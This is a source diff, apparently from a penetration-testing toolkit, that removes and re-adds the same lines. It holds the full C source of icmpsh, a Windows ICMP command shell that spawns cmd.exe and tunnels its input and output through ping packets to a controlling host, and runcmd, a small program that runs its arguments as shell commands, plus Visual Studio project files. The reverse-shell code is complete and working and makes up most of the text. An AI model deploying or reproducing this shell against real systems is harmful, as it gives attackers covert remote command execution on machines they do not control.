-	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	CloseHandle(out_write);
-	CloseHandle(in_read);
-
-	return STATUS_OK;
-}
-
-void usage(char *path)
-{
-	printf("%s [options] -t target\n", path);
-	printf("options:\n");
-	printf("  -t host            host ip address to send ping requests to\n");
-	printf("  -r                 send a single test icmp request and then quit\n");
-	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
-	printf("  -o milliseconds    timeout in milliseconds\n");
-	printf("  -h                 this screen\n");
-	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
-    printf("                     before quitting\n");
-	printf("  -s bytes           maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
-	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
-    printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
-	// create icmp file
-	*icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
-	int rs;
-	char *temp_in_buf;
-	int nbytes;
-
-	PICMP_ECHO_REPLY echo_reply;
-
-	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
-	if (!temp_in_buf) {
-		return TRANSFER_FAILURE;
-	}
-
-	// send data to remote host
-	rs = icmp_send(
-			icmp_chan,
-			target,
-			out_buf,
-			out_buf_size,
-			NULL,
-			temp_in_buf,
-			max_in_data_size + ICMP_HEADERS_SIZE,
-			timeout);
-
-		// check received data
-		if (rs > 0) {
-			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
-			if (echo_reply->DataSize > max_in_data_size) {
-				nbytes = max_in_data_size;
-			} else {
-				nbytes = echo_reply->DataSize;
-			}
-			memcpy(in_buf, echo_reply->Data, nbytes);
-			*in_buf_size = nbytes;
-
-			free(temp_in_buf);
-			return TRANSFER_SUCCESS;
-		}
-
-		free(temp_in_buf);
-
-    return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
-	HMODULE lib;
-	
-	lib = LoadLibraryA("ws2_32.dll");
-	if (lib != NULL) {
-        to_ip = GetProcAddress(lib, "inet_addr");
-        if (!to_ip) {   
-            return 0;
-        }
-    }
-
-	lib = LoadLibraryA("iphlpapi.dll");
-	if (lib != NULL) {
-		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
-		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
-		if (icmp_create && icmp_send) {
-			return 1;
-		}
-	} 
-
-	lib = LoadLibraryA("ICMP.DLL");
-	if (lib != NULL) {
-		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
-		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
-		if (icmp_create && icmp_send) {
-			return 1;
-		}
-	}
-	
-	printf("failed to load functions (%u)", GetLastError());
-
-	return 0;
-}
-int main(int argc, char **argv)
-{
-	int opt;
-	char *target;
-	unsigned int delay, timeout;
-	unsigned int ip_addr;
-	HANDLE pipe_read, pipe_write;
-	HANDLE icmp_chan;
-	unsigned char *in_buf, *out_buf;
-	unsigned int in_buf_size, out_buf_size;
-	DWORD rs;
-	int blanks, max_blanks;
-	PROCESS_INFORMATION pi;
-	int status;
-	unsigned int max_data_size;
-
-	// set defaults
-	target = 0;
-	timeout = DEFAULT_TIMEOUT;
-	delay = DEFAULT_DELAY;
-	max_blanks = DEFAULT_MAX_BLANKS;
-	max_data_size = DEFAULT_MAX_DATA_SIZE;
-
-	status = STATUS_OK;
-	if (!load_deps()) {
-		printf("failed to load ICMP library\n");
-		return -1;
-	}
-
-	// parse command line options
-	for (opt = 1; opt < argc; opt++) {
-		if (argv[opt][0] == '-') {
-			switch(argv[opt][1]) {
-				case 'h':
-				    usage(*argv);
-					return 0;
-				case 't':
-					if (opt + 1 < argc) {
-						target = argv[opt + 1];
-					}
-					break;
-				case 'd':
-					if (opt + 1 < argc) {
-						delay = atol(argv[opt + 1]);
-					}
-					break;
-				case 'o':
-					if (opt + 1 < argc) {
-						timeout = atol(argv[opt + 1]);
-					}
-					break;
-				case 'r':
-					status = STATUS_SINGLE;
-					break;
-				case 'b':
-					if (opt + 1 < argc) {
-						max_blanks = atol(argv[opt + 1]);
-					}
-					break;
-				case 's':
-					if (opt + 1 < argc) {
-						max_data_size = atol(argv[opt + 1]);
-					}
-					break;
-				default:
-					printf("unrecognized option -%c\n", argv[1][0]);
-					usage(*argv);
-					return -1;
-			}
-		}
-	}
-
-	if (!target) {
-		printf("you need to specify a host with -t. Try -h for more options\n");
-		return -1;
-	}
-	ip_addr = to_ip(target);
-
-	// don't spawn a shell if we're only sending a single test request
-	if (status != STATUS_SINGLE) {
-		status = spawn_shell(&pi, &pipe_read, &pipe_write);
-	}
-
-	// create icmp channel
-	create_icmp_channel(&icmp_chan);
-	if (icmp_chan == INVALID_HANDLE_VALUE) {
-	    printf("unable to create ICMP file: %u\n", GetLastError());
-	    return -1;
-	}
-
-	// allocate transfer buffers
-	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
-	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
-	if (!in_buf || !out_buf) {
-		printf("failed to allocate memory for transfer buffers\n");
-		return -1;
-	}
-	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
-	// sending/receiving loop
-	blanks = 0;
-	do {
-
-		switch(status) {
-			case STATUS_SINGLE:
-				// reply with a static string
-				out_buf_size = sprintf(out_buf, "Test1234\n");
-				break;
-			case STATUS_PROCESS_NOT_CREATED:
-				// reply with error message
-				out_buf_size = sprintf(out_buf, "Process was not created\n");
-				break;
-			default:
-				// read data from process via pipe
-				out_buf_size = 0;
-				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
-					if (out_buf_size > 0) {
-						out_buf_size = 0;
-						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
-						if (!rs && GetLastError() != ERROR_IO_PENDING) {
-							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
-						} 
-					}
-				} else {
-					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
-				}
-				break;
-		}
-
-		// send request/receive response
-		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
-			if (status == STATUS_OK) {
-				// write data from response back into pipe
-				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
-			}
-			blanks = 0;
-		} else {
-			// no reply received or error occured
-			blanks++;
-		}
-
-		// wait between requests
-		Sleep(delay);
-
-	} while (status == STATUS_OK && blanks < max_blanks);
-
-	if (status == STATUS_OK) {
-		TerminateProcess(pi.hProcess, 0);
-	}
-
-    return 0;
-}
-
+/*
+ *   icmpsh - simple icmp command shell
+ *   Copyright (c) 2010, Nico Leidecker <[email protected]>
+ *   This program is free software: you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation, either version 3 of the License, or
+ *   (at your option) any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <winsock2.h>
+#include <windows.h>
+#include <winsock2.h>
+#include <iphlpapi.h>
+
+#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)
+
+#define STATUS_OK					0
+#define STATUS_SINGLE				1
+#define STATUS_PROCESS_NOT_CREATED	2
+
+#define TRANSFER_SUCCESS			1
+#define TRANSFER_FAILURE			0
+
+#define DEFAULT_TIMEOUT			    3000
+#define DEFAULT_DELAY			    200
+#define DEFAULT_MAX_BLANKS	   	    10
+#define DEFAULT_MAX_DATA_SIZE	    64
+
+FARPROC icmp_create, icmp_send, to_ip;
+
+int verbose = 0;
+
+int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
+{
+	SECURITY_ATTRIBUTES sattr;
+	STARTUPINFOA si;
+	HANDLE in_read, out_write;
+
+	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
+	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
+    
+	// create communication pipes  
+	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
+	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
+	sattr.bInheritHandle = TRUE; 
+	sattr.lpSecurityDescriptor = NULL; 
+
+	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
+		return STATUS_PROCESS_NOT_CREATED;
+	}
+	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
+		return STATUS_PROCESS_NOT_CREATED;
+	}
+
+	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
+		return STATUS_PROCESS_NOT_CREATED;
+	}
+	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
+		return STATUS_PROCESS_NOT_CREATED;
+	}
+
+	// spawn process
+	memset(&si, 0x00, sizeof(STARTUPINFO));
+	si.cb = sizeof(STARTUPINFO); 
+	si.hStdError = out_write;
+	si.hStdOutput = out_write;
+	si.hStdInput = in_read;
+	si.dwFlags |= STARTF_USESTDHANDLES;
+
+	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
+		return STATUS_PROCESS_NOT_CREATED;
+	}
+
+	CloseHandle(out_write);
+	CloseHandle(in_read);
+
+	return STATUS_OK;
+}
+
+void usage(char *path)
+{
+	printf("%s [options] -t target\n", path);
+	printf("options:\n");
+	printf("  -t host            host ip address to send ping requests to\n");
+	printf("  -r                 send a single test icmp request and then quit\n");
+	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
+	printf("  -o milliseconds    timeout in milliseconds\n");
+	printf("  -h                 this screen\n");
+	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
+    printf("                     before quitting\n");
+	printf("  -s bytes           maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
+    printf("increase the size (-s) of the data buffer\n");
+}
+
+void create_icmp_channel(HANDLE *icmp_chan)
+{
+	// create icmp file
+	*icmp_chan = (HANDLE) icmp_create();
+}
+
+int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
+{
+	int rs;
+	char *temp_in_buf;
+	int nbytes;
+
+	PICMP_ECHO_REPLY echo_reply;
+
+	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
+	if (!temp_in_buf) {
+		return TRANSFER_FAILURE;
+	}
+
+	// send data to remote host
+	rs = icmp_send(
+			icmp_chan,
+			target,
+			out_buf,
+			out_buf_size,
+			NULL,
+			temp_in_buf,
+			max_in_data_size + ICMP_HEADERS_SIZE,
+			timeout);
+
+		// check received data
+		if (rs > 0) {
+			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
+			if (echo_reply->DataSize > max_in_data_size) {
+				nbytes = max_in_data_size;
+			} else {
+				nbytes = echo_reply->DataSize;
+			}
+			memcpy(in_buf, echo_reply->Data, nbytes);
+			*in_buf_size = nbytes;
+
+			free(temp_in_buf);
+			return TRANSFER_SUCCESS;
+		}
+
+		free(temp_in_buf);
+
+    return TRANSFER_FAILURE;
+}
+
+int load_deps()
+{
+	HMODULE lib;
+	
+	lib = LoadLibraryA("ws2_32.dll");
+	if (lib != NULL) {
+        to_ip = GetProcAddress(lib, "inet_addr");
+        if (!to_ip) {   
+            return 0;
+        }
+    }
+
+	lib = LoadLibraryA("iphlpapi.dll");
+	if (lib != NULL) {
+		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+		if (icmp_create && icmp_send) {
+			return 1;
+		}
+	} 
+
+	lib = LoadLibraryA("ICMP.DLL");
+	if (lib != NULL) {
+		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+		if (icmp_create && icmp_send) {
+			return 1;
+		}
+	}
+	
+	printf("failed to load functions (%u)", GetLastError());
+
+	return 0;
+}
+int main(int argc, char **argv)
+{
+	int opt;
+	char *target;
+	unsigned int delay, timeout;
+	unsigned int ip_addr;
+	HANDLE pipe_read, pipe_write;
+	HANDLE icmp_chan;
+	unsigned char *in_buf, *out_buf;
+	unsigned int in_buf_size, out_buf_size;
+	DWORD rs;
+	int blanks, max_blanks;
+	PROCESS_INFORMATION pi;
+	int status;
+	unsigned int max_data_size;
+
+	// set defaults
+	target = 0;
+	timeout = DEFAULT_TIMEOUT;
+	delay = DEFAULT_DELAY;
+	max_blanks = DEFAULT_MAX_BLANKS;
+	max_data_size = DEFAULT_MAX_DATA_SIZE;
+
+	status = STATUS_OK;
+	if (!load_deps()) {
+		printf("failed to load ICMP library\n");
+		return -1;
+	}
+
+	// parse command line options
+	for (opt = 1; opt < argc; opt++) {
+		if (argv[opt][0] == '-') {
+			switch(argv[opt][1]) {
+				case 'h':
+				    usage(*argv);
+					return 0;
+				case 't':
+					if (opt + 1 < argc) {
+						target = argv[opt + 1];
+					}
+					break;
+				case 'd':
+					if (opt + 1 < argc) {
+						delay = atol(argv[opt + 1]);
+					}
+					break;
+				case 'o':
+					if (opt + 1 < argc) {
+						timeout = atol(argv[opt + 1]);
+					}
+					break;
+				case 'r':
+					status = STATUS_SINGLE;
+					break;
+				case 'b':
+					if (opt + 1 < argc) {
+						max_blanks = atol(argv[opt + 1]);
+					}
+					break;
+				case 's':
+					if (opt + 1 < argc) {
+						max_data_size = atol(argv[opt + 1]);
+					}
+					break;
+				default:
+					printf("unrecognized option -%c\n", argv[1][0]);
+					usage(*argv);
+					return -1;
+			}
+		}
+	}
+
+	if (!target) {
+		printf("you need to specify a host with -t. Try -h for more options\n");
+		return -1;
+	}
+	ip_addr = to_ip(target);
+
+	// don't spawn a shell if we're only sending a single test request
+	if (status != STATUS_SINGLE) {
+		status = spawn_shell(&pi, &pipe_read, &pipe_write);
+	}
+
+	// create icmp channel
+	create_icmp_channel(&icmp_chan);
+	if (icmp_chan == INVALID_HANDLE_VALUE) {
+	    printf("unable to create ICMP file: %u\n", GetLastError());
+	    return -1;
+	}
+
+	// allocate transfer buffers
+	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+	if (!in_buf || !out_buf) {
+		printf("failed to allocate memory for transfer buffers\n");
+		return -1;
+	}
+	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+
+	// sending/receiving loop
+	blanks = 0;
+	do {
+
+		switch(status) {
+			case STATUS_SINGLE:
+				// reply with a static string
+				out_buf_size = sprintf(out_buf, "Test1234\n");
+				break;
+			case STATUS_PROCESS_NOT_CREATED:
+				// reply with error message
+				out_buf_size = sprintf(out_buf, "Process was not created\n");
+				break;
+			default:
+				// read data from process via pipe
+				out_buf_size = 0;
+				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
+					if (out_buf_size > 0) {
+						out_buf_size = 0;
+						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
+						if (!rs && GetLastError() != ERROR_IO_PENDING) {
+							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
+						} 
+					}
+				} else {
+					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
+				}
+				break;
+		}
+
+		// send request/receive response
+		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
+			if (status == STATUS_OK) {
+				// write data from response back into pipe
+				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
+			}
+			blanks = 0;
+		} else {
+			// no reply received or error occured
+			blanks++;
+		}
+
+		// wait between requests
+		Sleep(delay);
+
+	} while (status == STATUS_OK && blanks < max_blanks);
+
+	if (status == STATUS_OK) {
+		TerminateProcess(pi.hProcess, 0);
+	}
+
+    return 0;
+}
+

extra/runcmd/src/runcmd.sln

@@ -1,20 +1,20 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Release|Win32 = Release|Win32
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

extra/runcmd/src/runcmd/runcmd.cpp

@@ -1,46 +1,46 @@
-/* 
-	runcmd - a program for running command prompt commands
-	Copyright (C) 2010 Miroslav Stampar
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#include <stdio.h>
-#include <windows.h>
-#include <use_ansi.h>
-#include "stdafx.h"
-#include <string>
-
-using namespace std;
-int main(int argc, char* argv[])
-{
-  FILE *fp;
-  string cmd;
-
-  for( int count = 1; count < argc; count++ )
-	cmd += " " + string(argv[count]);
-
-  fp = _popen(cmd.c_str(), "r");
-
-  if (fp != NULL) {
-    char buffer[BUFSIZ];
-
-    while (fgets(buffer, sizeof buffer, fp) != NULL)
-      fputs(buffer, stdout);
-  }
-
-  return 0;
-}
+/* 
+	runcmd - a program for running command prompt commands
+	Copyright (C) 2010 Miroslav Stampar
+	email: [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#include <stdio.h>
+#include <windows.h>
+#include <use_ansi.h>
+#include "stdafx.h"
+#include <string>
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+  FILE *fp;
+  string cmd;
+
+  for( int count = 1; count < argc; count++ )
+	cmd += " " + string(argv[count]);
+
+  fp = _popen(cmd.c_str(), "r");
+
+  if (fp != NULL) {
+    char buffer[BUFSIZ];
+
+    while (fgets(buffer, sizeof buffer, fp) != NULL)
+      fputs(buffer, stdout);
+  }
+
+  return 0;
+}

extra/runcmd/src/runcmd/runcmd.vcproj

@@ -1,225 +1,225 @@
-<?xml version="1.0" encoding="windows-1250"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="8,00"
-	Name="runcmd"
-	ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-	RootNamespace="runcmd"
-	Keyword="Win32Proj"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="0"
-				UsePrecompiledHeader="2"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
-				RuntimeLibrary="0"
-				UsePrecompiledHeader="2"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="1"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\runcmd.cpp"
-				>
-			</File>
-			<File
-				RelativePath=".\stdafx.cpp"
-				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="1"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="1"
-					/>
-				</FileConfiguration>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-			<File
-				RelativePath=".\stdafx.h"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-		<File
-			RelativePath=".\ReadMe.txt"
-			>
-		</File>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>
+<?xml version="1.0" encoding="windows-1250"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8,00"
+	Name="runcmd"
+	ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+	RootNamespace="runcmd"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="0"
+				UsePrecompiledHeader="2"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
